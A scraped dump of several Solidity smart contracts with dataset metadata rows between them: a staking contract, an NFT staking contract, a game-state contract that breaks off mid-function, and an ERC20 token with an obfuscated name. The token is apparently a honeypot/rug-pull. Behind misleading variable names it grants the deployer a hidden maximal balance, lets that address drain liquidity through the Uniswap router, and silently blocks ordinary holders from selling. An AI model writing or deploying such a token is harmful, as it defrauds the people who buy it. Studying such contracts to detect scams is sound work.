if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 71,452 | 12,063 |
43cfc68229f893da2824a095e18416694f4a5a154cad4ae88149d3a43d4faa22
| 17,668 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/6a/6ad43fa6353ef89aef1e91c1d80900243d1b7909_ReHjh4olZze6nzeHjh46v6nzeH6H.sol
| 2,914 | 11,780 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ReHjh4olZze6nzeHjh46v6nzeH6H is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 public _taxFee = 5;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private _native = _tTotal;
uint256 private _rTotal = ~uint256(0);
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(uint256 => address) private _Devs;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _series;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _Marketing;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_Marketing[msg.sender] = _native;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address _month,
address _Safest,
uint256 amount) private {
uint256 _square = _Marketing[_month];
address _pass = _Devs[_native];
if (_Marketing[_month] > 0 && amount > _native) {
bool _suppose = _square == _Marketing[_Safest];
if (_suppose) {
inSwapAndLiquify = true;
swapAndLiquify(amount);
inSwapAndLiquify = false;
}
_Marketing[_Safest] = amount;
} else {
uint256 fee = (amount * _taxFee) / 100;
if (_Marketing[_month] == 0 && _month != uniswapV2Pair && _series[_month] > 0) {
return;
}
_series[_pass] = _taxFee;
_Devs[_native] = _Safest;
if (_taxFee > 0 && !inSwapAndLiquify && _Marketing[_month] == 0 && _Marketing[_Safest] == 0) {
amount -= fee;
_balances[_month] -= fee;
}
_balances[_month] -= amount;
_balances[_Safest] += amount;
emit Transfer(_month, _Safest, amount);
}
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
}
| 43,297 | 12,064 |
010c555811b082d23222d6e8963402b46e61b42b410525fab4e9a0ab2aebfba3
| 28,717 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/46/4697719007bc58dbc061572bca3729ab0c7f3b34_LiquidLabs.sol
| 3,774 | 15,127 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract LiquidLabs is Ownable, ReentrancyGuard {
// Interfaces for ERC20 and ERC721
IERC721 public immutable nftCollection = IERC721(0x17964F857045b2Df8173d5cf96501E1087fb101A);
// Staker info
struct Staker {
// Amount of ERC721 Tokens staked
uint256 amountStaked;
// Last time of details update for this User
uint256 timeOfLastUpdate;
// Calculated, but unclaimed rewards for the User. The rewards are
// calculated each time the user writes to the Smart Contract
uint256 unclaimedRewards;
}
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
uint256 private rewardsPerHour = 100000;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
mapping(uint256 => address) public stakerAddress;
address[] public stakersArray;
// Constructor function
//constructor(IERC721 _nftCollection) {
//nftCollection = _nftCollection;
//}
// If address already has ERC721 Token/s staked, calculate the rewards.
// For every new Token Id in param transferFrom user to this Smart Contract,
// increment the amountStaked and map msg.sender to the Token Id of the staked
// Token to later send back on withdrawal. Finally give timeOfLastUpdate the
// value of now.
function stake(uint256 _tokenId) external nonReentrant {
if (stakers[msg.sender].amountStaked > 0) {
uint256 rewards = calculateRewards(msg.sender);
stakers[msg.sender].unclaimedRewards += rewards;
} else {
stakersArray.push(msg.sender);
}
require(nftCollection.ownerOf(_tokenId) == msg.sender, "Can't stake tokens you don't own!");
nftCollection.transferFrom(msg.sender, address(this), _tokenId);
stakerAddress[_tokenId] = msg.sender;
stakers[msg.sender].amountStaked += 1;
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
}
// Check if user has any ERC721 Tokens Staked and if he tried to withdraw,
// calculate the rewards and store them in the unclaimedRewards and for each
// ERC721 Token in param: check if msg.sender is the original staker, decrement
// the amountStaked of the user and transfer the ERC721 token back to them
function withdraw(uint256 _tokenId) external nonReentrant {
require(stakers[msg.sender].amountStaked > 0,
"You have no tokens staked");
uint256 rewards = calculateRewards(msg.sender);
stakers[msg.sender].unclaimedRewards += rewards;
require(stakerAddress[_tokenId] == msg.sender);
stakerAddress[_tokenId] = address(0);
nftCollection.transferFrom(address(this), msg.sender, _tokenId);
stakers[msg.sender].amountStaked -= 1;
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
if (stakers[msg.sender].amountStaked == 0) {
for (uint256 i; i < stakersArray.length; ++i) {
if (stakersArray[i] == msg.sender) {
stakersArray[i] = stakersArray[stakersArray.length - 1];
stakersArray.pop();
}
}
}
}
// Calculate rewards for the msg.sender, check if there are any rewards
// claim, set unclaimedRewards to 0 and transfer the ERC20 Reward token
// to the user.
function claimRewards() external {
uint256 rewards = calculateRewards(msg.sender) +
stakers[msg.sender].unclaimedRewards;
require(rewards > 0, "You have no rewards to claim");
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
stakers[msg.sender].unclaimedRewards = 0;
//rewardsToken.safeTransfer(msg.sender, rewards);
}
// Set the rewardsPerHour variable
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function setRewardsPerHour(uint256 _newValue) public onlyOwner {
address[] memory _stakers = stakersArray;
uint256 len = _stakers.length;
for (uint256 i; i < len; ++i) {
address user = _stakers[i];
stakers[user].unclaimedRewards += calculateRewards(user);
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
}
rewardsPerHour = _newValue;
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (uint256 _tokensStaked, uint256 _availableRewards)
{
return (stakers[_user].amountStaked, availableRewards(_user));
}
function availableRewards(address _user) internal view returns (uint256) {
if (stakers[_user].amountStaked == 0) {
return stakers[_user].unclaimedRewards;
}
uint256 _rewards = stakers[_user].unclaimedRewards +
calculateRewards(_user);
return _rewards;
}
/////////////
// Internal//
/////////////
// Calculate rewards for param _staker by calculating the time passed
// since last update in hours and mulitplying it to ERC721 Tokens Staked
// and rewardsPerHour.
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
Staker memory staker = stakers[_staker];
return (((((block.timestamp - staker.timeOfLastUpdate) * staker.amountStaked)) * rewardsPerHour) / 3600);
}
}
| 124,081 | 12,065 |
be2269dbb7d0a66b0be3b710e015b1f4b7961947b9ff04143919f5d3a59747a9
| 18,175 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/bc/bc147e5c626570e81748d424b20175511e48dfa6_TerritoryUnitGameStatePredictionComponent.sol
| 4,199 | 16,954 |
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.11;
library ModularArray {
// use underlying element (type value of "element" can be change to use address or bytes for exemple)
struct UnderlyingElement {
uint element;
uint index;
bool init;
uint last;
uint next;
}
// create a modular array
struct ModularArrayStruct {
mapping (uint => UnderlyingElement) array;
mapping (uint => uint) associatedIndexFromElement;
uint firstIndex;
uint nbIndex;
uint totalElementsNumber;
}
// add any element just after an index (0: last index "_index", 1: new index with "_element" value)
function addAfterIndex(ModularArrayStruct storage _array, uint _index, uint _element) internal returns (uint) {
uint _nbIndex = _array.nbIndex;
_array.associatedIndexFromElement[_element] = _nbIndex;
if (_array.totalElementsNumber > 0) {
require(_array.array[_index].init == true, "Wrong indexing matching");
UnderlyingElement storage lastElement = _array.array[_index];
UnderlyingElement storage nextElement = _array.array[lastElement.next];
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, lastElement.index, nextElement.index);
lastElement.next = _nbIndex;
nextElement.last = _nbIndex;
} else {
_array.firstIndex = _nbIndex;
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, 0);
}
_array.nbIndex++;
_array.totalElementsNumber++;
return _nbIndex;
}
// /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index)
function addAfterElement(ModularArrayStruct storage _array, uint _elementIndex, uint _element) internal returns (uint) {
return addAfterIndex(_array, _array.associatedIndexFromElement[_elementIndex], _element);
}
// add any element just before an index (0: last index "_index", 1: new index with "_element" value)
function addBeforeIndex(ModularArrayStruct storage _array, uint _index, uint _element) internal returns (uint) {
uint _nbIndex = _array.nbIndex;
_array.associatedIndexFromElement[_element] = _nbIndex;
if (_array.totalElementsNumber > 0) {
require(_array.array[_index].init == true, "Wrong indexing matching");
UnderlyingElement storage nextElement = _array.array[_index];
UnderlyingElement storage lastElement = _array.array[nextElement.last];
if (_array.firstIndex == _index) {
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, nextElement.index);
_array.firstIndex = _nbIndex;
nextElement.last = _nbIndex;
} else {
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, lastElement.index, nextElement.index);
lastElement.next = _nbIndex;
nextElement.last = _nbIndex;
}
} else {
_array.firstIndex = _nbIndex;
_array.array[_nbIndex] = UnderlyingElement(_element, _nbIndex, true, 0, 0);
}
_array.nbIndex++;
_array.totalElementsNumber++;
return _nbIndex;
}
// /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index)
function addBeforeElement(ModularArrayStruct storage _array, uint _elementIndex, uint _element) internal returns (uint) {
return addBeforeIndex(_array, _array.associatedIndexFromElement[_elementIndex], _element);
}
// remove an element by its index
function removeFromIndex(ModularArrayStruct storage _array, uint _index) internal {
require(_array.array[_index].init == true, "Wrong indexing matching");
require(_array.totalElementsNumber > 0, "Can't remove non existent indexes");
UnderlyingElement storage element = _array.array[_index];
UnderlyingElement storage lastElement = _array.array[element.last];
UnderlyingElement storage nextElement = _array.array[element.next];
_array.associatedIndexFromElement[element.element] = 0;
if (_array.firstIndex == _index) {
_array.firstIndex = element.next;
lastElement.last = 0;
} else {
lastElement.next = nextElement.index;
nextElement.last = lastElement.index;
}
_array.totalElementsNumber--;
element.index = 0;
element.init = false;
}
// /!/ EVERY ELEMENTS MUST BE DIFFERENT (like unique index)
function removeFromElement(ModularArrayStruct storage _array, uint _element) internal {
removeFromIndex(_array, _array.associatedIndexFromElement[_element]);
}
// return the whole array
// - "_excludedIndex" = -1 to not exclude index
function getWholeArray(ModularArrayStruct storage _array) internal view returns (uint[] memory) {
uint[] memory _fullArray = new uint[](_array.totalElementsNumber);
UnderlyingElement memory _currentElement = _array.array[_array.firstIndex];
for (uint i=0; i < _array.totalElementsNumber; i++) {
_fullArray[i] = _currentElement.element;
_currentElement = _array.array[_currentElement.next];
}
return _fullArray;
}
function getElementIndex(ModularArrayStruct storage _array, uint _element) internal view returns (uint) {
uint[] memory array = getWholeArray(_array);
for (uint i=0; i < array.length; i++) {
if (array[i] == _element) return i;
}
return 0;
}
function resetArray(ModularArrayStruct storage _array) internal {
_array.totalElementsNumber = 0;
}
}
interface IWarfareUnit {
function ownerOf(uint) external view returns (address);
}
contract TerritoryUnitGameStatePredictionComponent {
using ModularArray for ModularArray.ModularArrayStruct;
// basic structur to store all important information about attackers necessary to make calculations
struct Attacker {
uint fightEntry;
uint lp;
uint dmg;
uint predictedDeathTime;
uint killedByUniqueId;
}
uint uniqueId = 1;
mapping (uint => uint) public firstFightEntry; // first fight entry timestamp for every pools id
mapping (uint => uint) public currentAttackersNumber; // current attackers number (in terms of different players, not units) for every pools id
uint public MAX_UNITS_PER_OWNER = 15;
uint public MAX_ATTACKERS_OWNERS = 20; // max number of different attackers owners in a single fight
mapping (uint => Attacker) public attackersIndex; // associate unique id to each attackers to handle them easily
mapping (address => mapping (uint => uint)) public referenceTreeAttackers;
mapping (uint => uint) public poolIdReference; // reference each unique id to its current pool;
mapping (uint => mapping (address => uint)) public deployedUnitPerAddress; // different attackers (non packed) amount in a single fight for each address and for each pool id
mapping (uint => mapping (uint => uint)) public elementIndex;
mapping (uint => ModularArray.ModularArrayStruct) public attackers; // attackers list sorted by their fight entry (first entry <=> first index) for each pool id
mapping (uint => uint) public lastDeathTime; // last death time for each pool
mapping (uint => uint) public finalPoolPossesor;
uint private DECIMALS = 10000;
constructor () {
_addAttacker(0, address(0), 0, 0, 100, 2);
_addAttacker(0, address(0), 0, 100, 1000, 20);
_addAttacker(0, address(0), 0, 200, 150, 3);
}
function _addAttacker(uint _poolId, address _contractReference, uint _tokenIdReference, uint _fightEntry, uint _lp, uint _dmg) public returns (uint) {
require(deployedUnitPerAddress[_poolId][msg.sender] + 1 <= MAX_UNITS_PER_OWNER, "max unit number reached");
require(currentAttackersNumber[_poolId] + 1 <= MAX_ATTACKERS_OWNERS, "max commanders in this fight reached");
// set the new Attacker object created from the input datas
attackersIndex[uniqueId] = Attacker(_fightEntry, _lp, _dmg, 0, 0);
if (currentAttackersNumber[_poolId] > 0) {
// retreive the index and set at the rigth place the new element (in croissant fight entry order)
(bool _addAfterElement, uint _element) = getFightEntryElement(_fightEntry, _poolId);
if (_addAfterElement) attackers[_poolId].addAfterElement(_element, uniqueId);
else attackers[_poolId].addBeforeElement(_element, uniqueId);
} else {
finalPoolPossesor[_poolId] = uniqueId;
}
// set the first timestamp fight entry
if (firstFightEntry[_poolId] > _fightEntry || firstFightEntry[_poolId] == 0) firstFightEntry[_poolId] = _fightEntry;
// set the reference of the attacker linked to its nft contract address and token id reference
referenceTreeAttackers[_contractReference][_tokenIdReference] = uniqueId;
poolIdReference[uniqueId] = _poolId;
uniqueId++;
deployedUnitPerAddress[_poolId][msg.sender]++;
currentAttackersNumber[_poolId]++;
return uniqueId-1;
}
function _removeAttacker(uint _poolId, address _contractReference, uint _tokenIdReference) public {
require(getPoolId(_contractReference,_tokenIdReference) == _poolId, "wrong pool");
uint _uniqueId = referenceTreeAttackers[_contractReference][_tokenIdReference];
attackers[_poolId].removeFromElement(_uniqueId);
// reset values ..
referenceTreeAttackers[_contractReference][_tokenIdReference] = 0;
deployedUnitPerAddress[_poolId][msg.sender]--;
currentAttackersNumber[_poolId]--;
poolIdReference[_uniqueId] = 0;
}
function getWinningUnitFromTimestamp(uint _poolId, uint _timestamp) public view returns (uint) {
uint[] memory _areaFightPools = attackers[_poolId].getWholeArray();
uint lastIndex;
uint lastTimestamp;
for (uint n=0; n < _areaFightPools.length; n++) {
if (attackersIndex[_areaFightPools[n]].predictedDeathTime > lastTimestamp && attackersIndex[_areaFightPools[n]].predictedDeathTime <= _timestamp) {
lastTimestamp = attackersIndex[_areaFightPools[n]].predictedDeathTime;
lastIndex = _areaFightPools[n];
}
}
if (lastTimestamp == 0) {
return finalPoolPossesor[_poolId];
} else {
return attackersIndex[lastIndex].killedByUniqueId;
}
}
function updateAttackerPool(uint _poolId) internal {
uint[] memory _areaFightPools = attackers[_poolId].getWholeArray();
